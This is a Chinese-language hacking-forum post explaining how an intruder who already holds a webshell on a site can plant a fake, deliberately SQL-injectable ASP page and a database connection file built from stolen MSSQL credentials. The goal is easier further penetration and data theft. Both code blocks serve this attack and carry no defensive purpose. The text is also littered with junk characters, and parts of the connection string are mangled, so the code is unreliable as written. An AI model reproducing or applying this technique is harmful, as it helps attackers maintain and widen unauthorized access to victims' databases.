自己构造注入点方便入侵
$ h, z. I" u) y8 }: ?5 c
% _3 @, o! C0 R+ X! n今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
" `+ Q. l* Q% n8 }5 C; ^3 t+ `8 r! G( z1 }0 x$ [
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!9 \8 a, T' U" ]
4 m, d* @5 `% r! ~2 m# W) `! I% i首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
' s( h8 K" d8 O0 Z- y( e: I
$ R* Y1 A: J$ b: ~% D密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
* O% L% a( ]8 } \5 m; H; ]3 e; }1 A2 L
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:, Z; W, K2 p7 S+ z
* Y: R# O5 k2 ?程序代码
' j' J0 E5 C1 K$ e) |$ E<!--#include file="xx.asp"-->
6 y0 C$ j; g) p1 c& H# a# k<%4 U/ }8 f! l' ]/ K+ Q' f* m+ v6 o
set rs=server.createobject("ADODB.recordset")8 \' `* [; J# ^
id = request("id")
1 ~* ?$ n% y; V; ?5 RstrSQL = "select * from admin where id=" & id
, f5 P7 B3 {; {6 m' s2 Zrs.open strSQL,conn,1,3
7 z% { X- z ?/ Ers.close2 I( Q2 Q! v4 @. W* d2 H& Z' R8 p
%>
& P3 o, P: v# O& l, u; `9 v9 L
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
! n6 S0 x7 O' @9 P% `# n8 e5 A Q; T- g4 Y$ @2 n/ x
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!4 t* g) H5 w& [3 X' h
0 L" H/ t1 [) T8 `3 K6 f# ?2 V
然后就要构造一个连接数据库的文件了,代码如下:
7 b# y. q! g6 n' ]5 {( J% ?' C+ H程序代码
. _0 g R' u/ S. \<%
6 l: g; J; y: QstrSQLServerName = "000.000.000.000" '服务器名称或地址
! _& q. J1 P; @# I& V1 X6 UstrSQLDBUserName = "sqlname" '数据库帐号8 ~: B5 h) y, D: {7 m$ u/ J2 P/ D
strSQLDBPassword = "sqlpass" '数据库密码
7 {& V' [( p9 P* F$ ustrSQLDBName = "sqldataname" '数据库名称' A. Q7 h+ n4 b+ y/ ^
Set conn = Server.CreateObject("ADODB.Connection")- F8 z4 \" s% S8 f) T
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"/ A6 }( J u8 m6 ^
conn.open strCon
, Y" I" M) k9 I* g1 T. _%>
% f' ]3 n9 c# Z4 R0 f
1 S9 I; y! ^0 l6 @! G) u这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,2 J$ P* q0 X- p% a
2 c% H& j; J+ Z/ q1 q: C
就这样,正常情况下,就OK了,伪造成功……
& V! E/ @) t( ^, K& l1 L
, {+ z5 Q, k( j+ Z& l2 U/ \ 如果有什么问题可以提出来大家一起探讨解决。 |